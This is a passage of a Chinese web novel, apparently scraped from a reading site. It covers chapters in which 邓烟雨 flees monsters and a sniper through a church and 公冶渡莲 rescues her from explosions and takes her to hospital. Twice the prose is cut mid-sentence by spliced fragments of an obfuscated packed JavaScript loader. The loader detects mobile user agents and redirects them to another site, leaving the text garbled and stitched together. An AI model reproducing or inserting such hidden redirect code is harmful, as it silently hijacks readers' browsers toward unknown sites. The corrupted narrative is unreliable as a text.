邓烟雨没让呼吸紊乱,也没回头,全神贯注向前拼命狂冲,但食人怪物速度惊人穷追不舍,离她越来越近。 冲至教堂前,邓烟雨体力已逼近极限,借着助跑跳起,有如神力一举抓住高处的装饰横梁,抬腿翻上去,一推教堂花窗——推不开! 窗锁死了! 她大脑空白一秒,甚至来不及惊慌,从裙子口袋里掏出战术防身笔,一下一下砸着窗户,在怪物跑到她下方时,窗户终于裂开。 邓烟雨再是砸了两下,挥拳一捶,窗户哗啦啦破了,底下的怪物伸手去抓她的脚腕,她狠狠踹开,往里翻了进去。 走道上又暗又静,邓烟雨拍掉一身碎片,观察地形,这条走道是单独辟出来用来观景的,和前方的长廊衔接,呈“T”型布局,她快步跑向长廊,因为是环形兼之光线昏暗,兜兜转转绕了一圈才找到楼梯。 身后极其安静,并无怪物追来,邓烟雨依然紧绷着神经匆匆往下走,阒寂无人的教堂里忽然回荡出笨重低沉的一声“咚——”。 是钢琴声。 邓烟雨感到毛骨悚然,却不知什么情况,硬着头皮下到二楼,才听出许多哭叫混杂在琴音里。 钢琴还在弹,“咚——咚——”的怪声是人体在琴键上压出的噪音。 惨叫不绝于耳,她浑身一僵,抓住扶手,进退两难地跪在了台阶上,从扶手的间隙中细瞧,一楼有人影晃动,它们的眼睛在黑暗中散发幽幽绿光,其中一只从邓烟雨眼皮底下走过,仰头使劲嗅闻。 邓烟雨起身,轻手轻脚往回跑,站在二楼走廊上。 就在这层吧——邓烟雨心想,二楼即使摔下去也应该死不了,便在这层快速找房间准备先藏起来。 长廊高深笔直,一横一竖皆充满神秘气息,邓烟雨独自摸索着,路过一扇玫瑰花窗,对面房间门开了条缝,这里好像是牧师办公室,她并不想进去,继续往前找藏身地,余光瞥见门缝里漏出一丝阴绿的光。 她魂都吓没了,正要跑,门缝里颤声说:“它们还在吗?” 是男人的声音,邓烟雨扭头,看见两双绿眼睛,一上一下,说话的是蹲在底下的那个。 “你说那些怪物?你……是客人?” “嗯!我,我是!”蹲着的男人自暗中冒出一张脸,脖下系着丝巾,他没看清邓烟雨的瞳孔颜色,只依稀发现她穿了女仆装,以为是个女郎,“你快带我出去!我会给你钱!很多很多钱!” “我不要钱,怪物还在下面堵着,我也在找出路。”邓烟雨腹诽这两个美食家胆子好小,这可是二楼,他们从二楼跳下去又不会死,腿都不会断,干嘛不直接破窗逃了,还傻傻躲在这。 “你……”男人果然胆子比松鼠还小,欲言又止,“喂,一个人多危险啊,我们一起行动吧。” 邓烟雨迟疑了,她不想和陌生的美食家结盟:“我去给你们找路,找到了回来告诉你们。” 男人听完,脸上的表情明显变了:“我们?” 邓烟雨点头:“是的,你们就躲在这里吧,挺安全的。” “哪来的我们?” 邓烟雨被他问懵了,张着嘴无话可说,抬头,看了看上面那双躲在暗处的绿眼睛:“你们两个……” “什么两个,你别开玩笑了,”男人发抖道,“我一直是一个人啊。” “……” “……” 上方的绿眼睛这才动了动,慢慢勾成有笑意的月牙形状,在一片死寂中平移出来,是张惨白的脸。 呀,捉迷藏被发现了——怪物脸上是这样的表情,咧开嘴,冲邓烟雨笑了。 “啊啊啊啊啊啊啊啊不要——不要——!!!” 男人吓得眼泪狂飙,惊叫着朝邓烟雨扑去,怪物胀紫的手臂如惊电劈出,握住他的头,这颗头在有力地挣扎,里面满当当都是货,像一颗汁水充分的橘子。 啪!怪物捏爆了它。 邓烟雨吓得摔倒在地,不停朝后退,男人没死,伸出爪牙本能地反击,怪物拔断了他的手,撕废纸一样撕烂了他,鲜血从那条门缝里淌出来,邓烟雨惊恐地捂住嘴,连滚带爬疯狂逃命。 怪物面部肌肉暂未矫正归位,始终面带诡异的笑容,拖着眼珠爆出七窍流血的“半个美食家”走出来,脖子扭来扭去地找人。 邓烟雨心脏快受不了了,一脚摔在楼梯上,落荒而逃躲到三楼,捂着怦怦跳的胸口跪倒喘息着,没等缓过劲,脚边飞来个东西,邓烟雨侧目—— 一颗“爆浆”的头颅咕噜噜滚到了眼底。 “啊——!” 邓烟雨嘶哑地叫喊出声,她知道自己被盯上了,腿却软得不存在,往前爬了几步才站起来,一路向前飞奔,推开尽头的门反手撞上。 这扇门没有锁扣,邓烟雨回头一看,她来到了教堂最高的圆柱古堡里,旋转石阶直通顶楼。 她漫无目的向下走,想起一楼二楼遍布怪物,走投无路的她望向上方,也在此时,门外传来“笃笃”的敲门声。 邓烟雨吓坏了,立刻转身往顶楼跑去,明知是死胡同,但她只能往上跑,直到推开顶楼大门跑向宽阔的露台,她才敢放声哭出来。 “怎么办……”她擦着脸上血迹,急出了眼泪,“我快不行了。” 她设想的最好结果,是等天一亮,游乐园开放,有人能发现她。 邓烟雨跑了一夜,饥渴交迫,身上衣服只有一层,被风吹得快昏倒。她倚靠栏杆,跌坐冷地,开始怀疑自己还能不能见到今早的太阳。 一只苍白冰凉的手从背后探出来,抓住了她的手腕,邓烟雨受惊尖叫,举起防身笔猛刺下去,那只手松开了,她急忙起身往后撤。 苍白大手被刺出血窟窿,照旧铁钳一般攥紧栏杆,第二只,第三只……更多手扒了上来,邓烟雨认出了它们,是在屋顶上追击她的怪物群。 它们不钻窗户,居然往最高的楼顶爬?! 邓烟雨在风里摇晃了一下,搜寻着露台哪里能躲,一眼定格前方——教堂最大最美的半球形玻璃穹顶。她瘸着腿跑了过去,回头见怪物已经爬上来一大半。 不能躲,得找第二个出口离开才行。 邓烟雨抓乱了头发,在原地急得左顾右盼。 “很好,小土豆,就待在那,别动……” 千米开外,一架狙击步|枪对准了邓烟雨的后脑,女人咬碎糖果血,红唇如艳丽的玫瑰绽放开来。 她扣下扳机,邓烟雨偏偏在她开枪之际动了一步。 子弹惊速出膛,撕裂狂风,穿越千米之距射向大教堂,打在邓烟雨脚边。 什么声音? 邓烟雨低头,茫然盯着地上的弹坑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579315|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嘁……” 女人乌绿的媚眼从夜视瞄准镜上移开,一截紫色蝎尾纹在上翘的眼尾处。 邓烟雨吓出一背冷汗,逃到穹顶的另一面,怪物们鬼叫着奋起直追,女人便在瞄准镜里看他们秦王绕柱,脸上表情从冷淡转变为复杂。 这小土豆在玩什么呢?遛丧尸? 原来的出口被怪物堵住了,邓烟雨回不去,除了围着穹顶一圈复一圈跑,说不定能绕晕它们,实在想不出还有什么保命的办法,可她真的跑不动了。 她看了眼上方,突然攀住穹顶周围的雕塑,朝玻璃圆顶上爬去。 女人观察着她,准备开第二枪。 爬了半天,即将接近穹顶的至高点,那里竖着一具十字架,邓烟雨搂着它跪下来。天边破出拂晓的光,她却觉得更冷了,迷糊间听到几声大笑,以为是自己幻听了,隔着玻璃一看,底下的场景让她终生难忘。 祈祷大厅已沦陷,尸体有完整有残破的,像一块块过年宰好的猪肉挂在礼堂椅背上,高定衣料化作雪花撕碎一地。教堂大门关着所以怪物都出不去,在神圣的十字架下走走停停,恩赦的光辉洒落在它们血腥的獠牙上。 邓烟雨正出神,咻一声,有东西剐过皮肉,她感觉脑袋边上热热的,留下一股液体,视野逐渐昏花,慢慢往后仰—— 跌进一个结实的怀抱。 邓烟雨昏沉地睁开眼,颤抖的手去抓对方的衣服。 这个怀抱有些熟悉,她眼中泛出点点碎光,努力转过头,下一秒,眼中光芒顷刻化为乌有,她的眼眸再次黯淡下去,空洞得像一抔烧剩的灰烬。 江邂月垂眸,无声凝望着她,晨风吹开他的西装,满世界猎猎作响。 “江爷,你挡着我了。” 江邂月对耳侧闪光的无线通讯说:“妮卡,停止射击。” “……” “什么?” 妮卡先是疑惑,接着表现出烦躁:“你真打算把她交给主席?” 江邂月沉默须臾,说:“这是我的猎物。” 妮卡不以为然地嚼碎糖果,裹着果浆的血液在唇齿间漫开:“你只是需要一具尸体,不是么?” 江邂月眼眸微敛。 “让开,”妮卡瞄准江邂月的后颈,“我无需服从你的指示,再妨碍我,别怪我连你一起干掉。” “枪法这么烂,真浪费了你这把满配M200,回去再练个一百年吧。”江邂月懒得重复,关掉通讯,把邓烟雨提起来。 邓烟雨抬手,慢吞吞擦拭着流满眼睑的血,再使出全身力气,用两条细胳膊去推江邂月,防身笔扎向他。 江邂月纹丝不动,看着她,冷笑:“怎么,我杀了你的公冶警官,你想报仇吗?” 邓烟雨抖着唇,说:“我要让你……偿命……” “邓烟雨,”江邂月一脸不快,“我现在是在救你,若非我挡着,它们马上会来吃你。” 怪物们畏畏缩缩挤在玻璃穹顶下,碍于江邂月的气场,皆不敢有所动作。 “别得寸进尺,跟我走。” 邓烟雨怒不可遏甩开他:“不要拉我!!” 她虚弱地跪倒,扶住十字架。 “它们要吃我就让它们吃啊!”邓烟雨痛骂道,“你滚开!!!” “你这条命已经由不得你做主了,要和公冶渡莲殉情吗?”江邂月心觉可笑,蹲下来,告诉邓烟雨,“可惜他是去地狱的人,你再也见不到他了。” “……” 再也……见不到? 她呆呆的,哭花的脸万念俱灰,眼圈下青紫,肿痛发炎的伤口折磨了她一个晚上,手再也使不出劲,松开十字架,整个人往下滑。 瞅见邓烟雨要掉下来了,怪物们手脚并用,急哄哄爬上去抓她,江邂月提住邓烟雨的后衣领,一脚把领头的怪物踹得尸首分离,飞下去碾死了一大片。 他怒火中烧。 结果偏在这节骨眼上,一发子弹飞来,割破他的西装,击中玻璃。 江邂月雷霆震怒,按亮通讯:“妮卡,我希望你是长耳朵的。” “不好意思,我得到的指令是击落目标,”妮卡说,“把邓烟雨举起来,下一枪我要打爆她的头,不然,就换你去见阎王。” 江邂月笑意发狠:“你敢杀我。” “是,我不敢,”妮卡放肆一笑,“但我敢让你掉下去,你死不了,难保你手中的小土豆不会摔成烂泥。” 没等江邂月开口,邓烟雨先恢复意识,狠命推开了他,妮卡的子弹也在千米之外破空射来,击中邓烟雨的肩膀! 血液当空喷溅而出,子弹穿出肩胛,再一次击穿玻璃。 邓烟雨仰面倒下,嘭!玻璃粉碎,碎片闪着光划过她眼底,她直直朝下坠去,江邂月骂了声,伸出手去抓她扬起的手臂,他反应迅疾,本是可以抓到的—— 可邓烟雨挥开了。 两只手在风中仅差毫厘,便错了开去。 江邂月发丝乱了,望着她坠向如山似海的丧尸群,余光内骤然掠过一道身影,江邂月不禁皱眉,偏过头,看到了一个不该出现在这里的人。 “为什么。” 为什么会出现在这,这个人……他…… 邓烟雨在急速跌落之中最后一次睁眼,朦朦胧胧间,她也看到了。 她看到公冶渡莲了。 他义无反顾随她跳下高台,向她飞扑而来,黑发在风中温柔吹起,露出一双水绿色的眼睛。 63. 阶级(修) 他们坠向教堂正中央一面巨大的玫瑰花窗前,无数玻璃碎块映射出斑驳陆离的狂乱光彩,在他们周围如碎钻飞洒开来。公冶的手穿过碎屑抓牢了邓烟雨,将人紧紧护入怀中,在急剧下坠的刹那间完成翻身平稳落地。 碎片追随落下,零零散散溅出一地声响。 “小雨!”公冶抱着她站起,急迫地吼道,“小雨!!” 邓烟雨躺在他臂弯里,遭枪击的肩膀血流不止,迅速染红他整条手臂。附近两三只怪物探头探脑凑近也想看,被公冶暴怒地骂了声:“走开!” 它们当即吓得屁滚尿流,眼珠却盯着邓烟雨流血的部位,从喉咙里发出不甘的呜呜声。 “来不及了!” “快啊!” 左侧通道脚步杂沓,一群人像洪水挤破了闸门乱糟糟涌出,身后还携来了许多怪物,每只胸口都绑了不明黑盒,盒子中心闪烁一串红光—— 00:04 00:03 00:02 是倒计时。 公冶呼吸一窒,想都没想果断躲去大圆柱后,搂住邓烟雨的头,冲在最前的美食家叫道:“要炸——” 嘣——!! 所有怪物化成一团庞大的光,惊天动地的爆响带出飓风,蜡烛吊灯震碎,一排排座椅连根拔起掀飞出去,大家无处可躲,被撞烂砸死的不计其数。 怒喊惨叫淹没在天花板轰塌的巨响里。 振聋发聩的大爆炸一阵紧接一阵,颤动着这座雄伟华丽的高殿,烈焰犹如盛大的纯金烟花迸炸上空,精美的彩绘窗齐齐爆裂毁于一旦,烧成焦黑齑粉的怪物被满殿大火大风吹成点点星雨,落进众人呆滞充血的眼中。 侥幸活下来的人颓废地晃了几步,气喘吁吁立定,男人衣装褴褛,污血顺着鬓角滑落,女人蓬头垢面跌坐在火光前,恍惚不已。 一个美食家哆哆嗦嗦从西装内侧摸出支烟,叼上,神经质地笑:“江爷说的迎新烟火,该不会是这个吧……” 公冶把身体压到最低,仍然被炸药烟浪波及,他可没空感慨这场人肢乱飞的“烟火秀”,甩掉一头火星子,抱着邓烟雨爬出浓烟,起身往大门口飞奔。 “都、都愣着干什么,”另一个美食家醒过神来,吼道,“快跑啊!!” 随着建筑轻微摇晃,满墙碎块开裂,扑簌簌坠落,砸起呛人的灰烟。逃的慢的被怪物咬住脖子压制在地,大厅像扔满了烟雾弹什么都看不清。 又一声轰鸣揭天炸起,强劲气流裹挟热浪,把教堂冲击成一片火海,公冶躲开掉落的碎石,被一个人拽住脚踝。 “救救我……求你……”他一条腿炸没了,泪流满面仰头望向公冶,企图获得对方援手,但很快,他停止了哭泣求救—— 这双眼睛太干净了,不含任何欲望杂质,像一面雨过天青的镜子,映出渺小不堪的他自己。 他在这片带有施舍意味的淡薄目光里愣怔一刻,主动松开了手。 公冶转身往外跑,雷霆一脚踹开教堂重门,冲了出去。 教堂里不停地爆闪,震颤,瓦解,狂轰滥炸……为数不多的幸存者跟随公冶杀出重围,三三两两都以为逃过一劫,跪在教堂前的空地上休息。 “不要坐下!!”有个美食家扯嗓子喊,“离远点!!” 不谙世事的少爷小姐还在那整理仪容仪表,闻言皆是一愣,连撑地爬起的时间也没有,就被接连轰来的火浪席卷吞噬,一只烧焦的手臂飞上了天。 绑着炸弹的怪物陆续冲出教堂,在游乐园里横冲直撞抓捕幸存者,空旷的场地上开启了第二轮追杀逃窜,惨痛的哀嚎夹杂各种辱骂,一个男人破口咒骂江邂月和盛夺,听着身上的炸弹归零,轰的一声,被高温杀成了灰。 怪物基本不去袭击公冶,他顺利逃到空气良好的地带,累得靠在一根灯柱下轻喘。 他快不行了。 体内不断熔化撕裂的痛楚直往心脏处逼发。 水绿的光在他眼底爆亮,熄灭,再爆亮。 “该……死……” 他跄踉往前走,步伐越来越慢。他不明白自己身体怎么回事,受不住骨骼突变引起的剧痛,跪在了地上,而痉挛的手始终捂紧邓烟雨洞穿的肩伤,她的血从指缝里冷冷流出,浸透他早已鲜红的衬衫。 公冶觉得怀里的她失去了分量,心脏也不再跳动。 “小雨,不要睡……” “小雨!” 他沙哑叫着邓烟雨,可她睡着了,很安静,似一张轻白的纸。公冶声音里抖满了惧怕,即使痛得头晕眼花,也硬逼自己站了起来。 背后呼啦一声风起,双层旋转木马燃起熊熊烈火,照亮了半边天。一只马头哄地炸飞,拖着滚滚黑烟砸在公冶脚前,熏脏的眼珠瞪着他,噼啪裂响。 公冶并未受它影响,视线越过燃烧的旋转木马残骸——浓烈硝烟吹来遥远的警笛声,透出晨光的天际下,红蓝警灯错闪成一线,正领着消防、救护车,朝游乐园急驰而来。 他眼中顿亮,抱着邓烟雨快步跑向那片耀眼的警灯,突然一辆红色跑车钻过大火浓烟猛冲而出,轮胎尖啸着刹在他跟前。 车窗拉下,楚知元叫道:“上车!” 公冶脸色青白,望向警车,再望向他。 “那帮混账故意叫了警察!来的都是内线!他们要抓你背锅!!你在这说不清的!跟我走!!” 公冶立即坐进跑车,碰上车门,邓烟雨的血止不住,淌了他一身,他崩溃到极点地哀求:“知元,去最近的医院!” “知道!坐稳!” 红跑一记帅气漂移,尾灯凶闪,轰足了油门往游乐园一扇废弃后门冲去,活活撞开生锈的铁栏,蹭着一地钢筋井盖飞上公路。 半小时后,海滩悬崖上。 江邂月脱下狼藉的西服外套,甩上肩背,款步迈向等待他的四个人。 盛夺脚边掉满烟蒂,见混账来了,孤傲的面容添起一丝嘲讽:“人呢?” “掉下去了。”江邂月说完这话,目光剜向妮卡。 盛夺:“死了?” “公冶渡莲带她走了。” 海浪拍打着嶙峋礁石,也拍起一汪冰凉的沉默。几秒过后,盛夺朝悬崖扬了扬下巴,说:“那你还等什么,赶紧跳吧,省得被我踹下去喂鲨鱼。” “你怎么不问问你的小情妇,她狙了半天真就狙了个狗呢。” 妮卡扬眸:“江邂月,你何必骂自己?” 盛夺夹着根残烟,说:“要不是你磨磨唧唧挡她视线,她会打不着?” “哇哦,”江邂月笑得可开心了,“老盛,你痴情种啊,辛苦养肥的金丝雀说不要就不要了,对着个七年之痒的马子这么难舍难分?” 盛夺按住正要发作的妮卡,面不改色说:“你顾虑太多了,邓烟雨不需要活着去见主席,拿到她的尸体,我们一样可以交差。” “哈。”一直在旁洗耳恭听的褐发男子忍俊不禁。 江邂月摆出副晦气的嘴脸,转身,堆起假笑说:“尹离舟,你怎么来了?还带着克丽丝托。” 寇栗气质沉静,并不回话,余光瞥向她的男人。 西装革履的尹离舟坐在一块岩上,长腿懒慢跷起,支着下巴看好戏:“听你们吵架觉得很有趣。还有,克丽丝托不是你配叫的,再让我听到一次,我就往你嘴巴里撒盐。” “不谈正事?” “谈啊,”尹离舟嘴角勾出坏色,“江邂月,你宝刀未老呐,白天在床上忙事,完了夜里还能下场子喝酒。” 江邂月额头暴筋:“就你他妈天天搁外头到处说我四十八岁了?” 盛夺一手插兜,笑了:“尹离舟,你知道阿月最近的床伴如何评价他的?十个里有八个说他老当益壮。” “哈哈哈哈,”尹离舟抚掌庆祝,“都年过半百了确实称得上这么一声。” “再让我听到你胡乱造谣我的年龄——”江邂月倾身逼近他,“下一次,我一定杀了邓烟雨。” 妮卡抚着爱枪,嗤了声。 “哟,拿卷毛小熊威胁我?”尹离舟并不退让,抬头与他平静对视,仿佛打心底断定他下不去手,“你知道的,她能换更好的筹码。” 江邂月眼底的寒意聚积片刻,消散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579316|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “公冶渡莲,”尹离舟说,“你没杀了他?我以为你会亲手解决掉。” 江邂月不爽地掸掸裤子,说:“他妈是清绝。” 四个人不约而同看向他,尹离舟问:“你在骂人吗?” 江邂月深吸一口气,愤恨道:“清绝本该是下一任红鸽主席,加上她在十大姓里排第三,公冶渡莲即便继承她一半血脉,他的阶级也远远超越我们。” “顶美之间的‘逆阶级’战斗百害无一利,除非让高阶级者肉|体销亡,通常上来讲,”盛夺掐灭烟,轻松说道,“阿月杀不死他。” “哦,原来你们都知道啊,”尹离舟看白痴似的,面无表情,“那你还一怒之下给了他一刀,江笨蛋。” 江笨蛋气得獠牙微露:“他体内还有一半垃圾人类血脉,我不能赌一回?” 尹离舟摇摇指头:“在地球进行新一轮大换血之前,人类始终是这个世界的领袖,他们既为强大的创造者也是弱小的野心家,他们的智慧与奸险是你永远不可预料且战胜的,千万不要轻敌,也不要骂自己第二遍,江小狗,因为美食家的本质也是人类,美食家正是仰仗着人类文明才得以生存。” 妮卡听完,轻声问盛夺:“他最近读书了?” 盛夺:“百度的。” 妮卡:“……喔。” “你们两个杀人放火的好事已经煽到老爷子戴助听器的耳朵里了,恭喜,把他病都气好了。” 盛夺首先把自己摘干净:“地下乐园的怪物不是我放出来的。” 江邂月扭头,显然很诧异:“不是你?” “废话,我放那些怪物有什么好处?” 江邂月稍作思索,面色阴云密布:“妈的……被驴了。” 尹离舟沉着眸光,绿意轻轻淡淡,如刃流转:“两位,是谁驴了你们这事先甩一边,主席来话,让你们拾掇了残局即刻回庄园,他的拐杖正等着你们的屁股呢。” 江邂月眯眼:“以往都是谈鸿来通知。” 尹离舟扯了扯裤腿站起来,和蔼可亲地一笑:“你们还不配阿鸿赏脸。” 海风骤起,浪花卷着白沫,送来一股潮湿的腥咸。 “哎呀,开玩笑啦,瞧你们脸绷的,谈理事最近好忙好忙,所以拜托我来跑一趟,那我通知到位就先撤了,你们善完后赶紧回家。克丽丝托,我们走。” 悬崖下停着一辆加长行政车,尹离舟看见司机打开车门等他进去,臀部有些许隐隐发痒,回头说:“克丽丝托,这次不要踢我玉臀好吗?” 寇栗轻笑:“您放心,眼下我没这兴趣。” 清晨的阳光穿破云层洒向海面,尹离舟望着海天相接处:“一发在头部,一发在肩膀,你说她活下来的几率有多大?” 寇栗随他一起眺望海面碎光,片刻后垂目:“我不知道,如果……如果莲能尽快送她去医院的话……” 尹离舟叹气,耸了耸肩:“真是对苦命鸳鸯啊。” 寇栗握紧了手,克制着说:“您若真的可怜他们,早该去救了。” “你在气我没有插手?” 尹离舟转过来,高大的身躯掩住了天光,淡雅纯净的男性气息笼罩着寇栗。他抬手,轻揉她的耳垂:“你要明白红鸽和公安的立场,白老爷子今时的地位绝不是靠心慈手软得来的,他是真的老了,心余力绌,才会动恻隐之念。克丽丝托,人类和美食家不可能共存,到最后我们总要分出个成王败寇。” “胜者才能引领文明。” 寇栗若有所思,带点依赖靠向他的手。 “如今的和平就是结在湖面的一层冰,等春天来了,所有人都将掉下去。” 寇栗仰眸看他,说:“那就不要站在冰面上。” “是啊,”尹离舟低头,“可我们已经在冰面中心,很难逃出去了,不过我会抱着你的,或者你骑我肩上,我会好好托着你,直到死。” “无赖,谁要骑你。”寇栗红透了耳根,拍开他的手,尹离舟仔细欣赏她轻扑的睫毛,温情一笑:“去车子里吧。” 他抬眼,司机立刻心领神会,识趣地退远了。 64. 爆发 新年伊始,急诊走廊的宁静被一阵喧哗声打破。 医护人员推着台染血的抢救床直冲手术室,大喊着“快去备血!”,一名护士对身后急追的两个男人吼:“你们别跟了!!” 公冶和楚知元狼狈驻足,目送他们火急火燎远去。 “凶吧……”楚知元指了指那个护士,说,“我前女友。” 公冶没什么反应。 楚知元喘了口气,又指了指另外一个医生,说:“她也是。” 公冶默默转头,看他一眼。 “手术中”的灯啪地亮起,公冶站在手术室门口,楚知元过来说:“去椅子上坐着吧,总归要半天时间的。” 公冶转身,去长椅上坐着了。天色大亮,他不想看到光,深深埋头,双手插在发里,孤独又无助的身影让楚知元瞧着不是滋味。 “莲,你要不要也去做一下检查?” “我没事。” “你哪里没事了,你身上全是血。” 公冶心绪烦乱扯着头发,闷闷说:“不是我的……” 气氛静默压抑,时间像沾了水滴答流逝着。楚知元站在他面前,就这么感受着他的煎熬,随后说:“你抬头看着我。” 公冶没动。 “渡莲,你抬头看着我。” “看着我!”楚知元一把将人抓起来,气愤道,“肩膀烧伤,腹部捅伤,还有这里,”他揪起公冶的衬衫,盯着左胸膛,“你心脏这什么情况,你知道刚才医生看你的眼神吗,她恨不得把你也拽上担架一道送进去!” “你稍微担心下自己好不好啊?!” 公冶暗暗咬了牙,面上仍是无动于衷,偏过视线,重复那句话:“我说了我没事。” “……公冶渡莲,”楚知元心都凉了,扔开了他,“是,你命硬,怎样折腾都死不了,当年在独玉分所你就是靠命硬撑了下来,我真佩服你。” 空气中无声爆开火药味,公冶抬起疲惫的眼,强忍着怒意开口:“能不能别提独玉?” “我不提,这事就没发生过吗?”楚知元用力点了点自己的脖子,“我们的编号就会被抹去吗?” 公冶悄悄攥紧了拳。朗玉山帮他把带编号的皮肉一片一片刮掉的触感再次回到身上。 “不会抹去的,都是假象!这条脖子就算剐干净了,洗干净了,长出了新的肉,我的473,你的408,都会像烧红的烙铁一样烙在我们生命中,耻辱会跟随我们一辈子,等老了回忆往事,还会觉得这块地方发疼!” “别说了。”公冶喉间滚了口腥,眼眶轻轻红了,气得发丝也在抖。 “你有为自己活过一天吗?渡莲,你得到你期望的人生了吗?” 公冶死了一般缄默着。 “你有喜欢的人了吧,是那个女孩吗?”楚知元冷笑,“可你有什么资格和她在一起,你有活成个人样吗,她和你在一起能幸福吗?” “……” “你根本没心思和她相处,也没能力保护她,因为你每天都要心惊胆战地想着顾令萍,睡觉脑子里都是顾令萍的声音,想着那个女人什么时候把你带回去,明天?后天?总有一天她会来找你,”楚知元朝他迈近一步,“因为顾令萍就在公安啊,说白了你从来没有离开过独玉,你到现在为止还是个能卖钱的实验品,没有人权!八年前被顾令萍摆布,八年后被公安摆布!你替公安卖命一天!!就是在替她卖命!!!” 公冶陡然暴起,一拳痛挥在他脸上,楚知元刹不住向后摔去,重重一声撞上冰冷的墙。 闷响震荡在医院一角。 没人来管他们,空旷的走廊上久久散发着喘息声,楚知元痛得眼前昏花,反而笑了。 “好点……了吗?”他勉强站稳,擦掉嘴角的血,侧过脸,轻声问,“是不是好点了?如果不够,你可以再打我。” 公冶发丝凌乱,垂着手,失魂落魄看着他。 窗外阳光照向光秃秃的树枝,草坪上的枯叶随风飘旋。 良久。 “对不起……” 公冶退后一步,颓然坐下。 “对不起,”他受不了了,声线扼制不住地发颤,一直以来层层砌砌裹藏自己的坚固硬壳喀啦碎裂,他哭出了声,“对不起。” “渡莲……”楚知元心痛地轻喊。 公冶恍如没听见,指甲嵌进手臂,划出数条血痕。 他撕不开这份虚伪,他把自己扮演成年轻有为功绩显赫的一线精英,是不想让任何一个人发现他脆弱、敏感、又自卑阴暗的一面。他从小就学会了掩饰自己不干净的内在,同学孤立他讥笑他的出身,他虽然不吭声,其实很生气,想让欺负他的人永远闭嘴;被幼儿园一个女老师冤枉偷窃,拧着耳朵提到讲台上遭受全班羞辱批|斗,他其实很想抓花这名老师的脸;邻居对他们母子指指点点,故意叫来抵美协会砸门赶人,打伤母亲,害得他们一次次被轰走,搬家,露宿街头,他其实很想反击,想咬断这些人挥舞棍棒殴打母亲的手臂。 他拥有这份力量,可他什么也做不到。 自从政府正式发出“抵美令”,抵美协会就像拿到了免死金牌横行无忌,到处施暴,那段时间歌华市掀起了疯狂的“抵美运动”,公安迫于无奈,不再保护身为烈士家属的清绝母子。 离破旧小家百米远的水泥地上,一块便利店买来的生日小蛋糕摔烂了,身份高贵的母亲被十几个协会成员围在地上拳打脚踢,那张明亮爱笑的脸被揍得惨不忍睹,身体也皮开肉绽,可清绝被律法的利剑斩断了獠牙锐爪,她无权反抗,不能还击,只能死死搂着儿子,捂住他的眼,尽量不让年仅四岁的公冶看到任何以暴制暴的血腥一幕。 但声音是遮不去的……豆大的泪珠从公冶眼眶里滚出,浸热清绝的掌心,他的哭吼和求饶换来了抵美协会更为激烈凶残的暴打驱逐。那时的公冶只觉得自己没用,如果父亲还在,他绝对不会让母亲遭受这些。 在进入独玉分所前,他就已经受够了,只是都没把坏情绪发泄出来,而是选择憋在心里独自慢慢消化。 可笑的是,他居然做到了,甚至觉得并不是什么难事,因为美食家的身份让他习惯了逆来顺受,并且久而久之认为这是自己该受的。 可这次不知怎么了,他已经是一个成年人了,明明可以比小时候更理性地控制情绪、忍气吞声。可为何,这次在朋友面前他一下子不打自招,善良正义的面具被一把金色匕首从中间破开,裂缝里,那满满的丑恶快要溢出。 “如果她醒不过来怎么办,”公冶撑着额头,哽咽,“为什么我身边的人要接二连三出事,我的人生要那么糟糕……” “为什么他们杀了人还能被称作救世英雄,我却要低下头做人,为什么我憎恨的每一个人都活得那么好,活得比我好!” 从记事起,那些伤害他的人在脑海里一帧帧闪过,公冶一个也没敢忘。他尖利毒冷的爪牙绽了出来,眼睛里烧着肆虐透彻的、积压了二十多年滚烫流血的恨意——他爆发了地嘶吼:“为什么啊!!” “渡莲,这不是你的错,”楚知元胸口胀得发酸,蹲下来,“你不要把所有责任揽到自己身上,不要自己硬扛着,哭出来会好很多。” 楚知元垂头:“说了让你讨厌的事,对不起,我以后不会了,我再也不提那些过往,就让它烂在过去吧。” 手术室那头安静得没声息,公冶听见窗外有朦胧的鸟叫,缓了须臾,喑哑地说:“我在地下乐园见到寇杰了,他已经不正常了。” 楚知元震住。 “ce-495,你没忘吧。” 楚知元一惊,抬头,顿了顿说:“我自然记得,那是……” “那是寇栗的哥哥。” 十二年前,公冶帮助楚知元和寇栗逃出了独玉研究院。那晚的瓢泼大雨把瘦小的寇栗吹去一片急流里,他们游了几公里都没找到她。 “莲,怎么办!我找不到寇栗!我找不到她——” “你走。”公冶自己早已体力不支,却托起了楚知元,让他上对岸,后方有束道手电筒光追来,混着叫骂,是顾令萍的人。 “你快走!!” “可你怎么办,”楚知元哭喊着,“我不能撇下你——” “我本来就逃不掉的。”暴雨浇透公冶骨瘦如柴的身背,他用这样一副饱受折磨的病体抗住了大哭的楚知元,他的眼睛铮亮坚毅,像夏日河滩里的绿石。 “你们能逃出去已足够……所以……不要回头。” “知元,不要回头。” 楚知元闭眼,深呼吸:“我至今依然在找她,我不相信她死了,谁料先得到了寇杰的噩耗……” “地下乐园的怪物全是当年独玉分所的孩子,他们脖子上有编号,”公冶望着自己苍白的手,淡声道,“这是她一贯的作风……失去研究价值的孩子成批变卖掉以此牟取私利,再转手捐给基金会把钱都漂白了,博了名声不说,还能搭上红鸽这层关系。” “公安有多想捣毁红鸽,她不是不知道。” 医院温度偏低,楚知元背上微微发凉:“他们今天把地下乐园炸了,是怕警方搜出顾令萍犯罪的证据?” “他们会有这好心吗?” 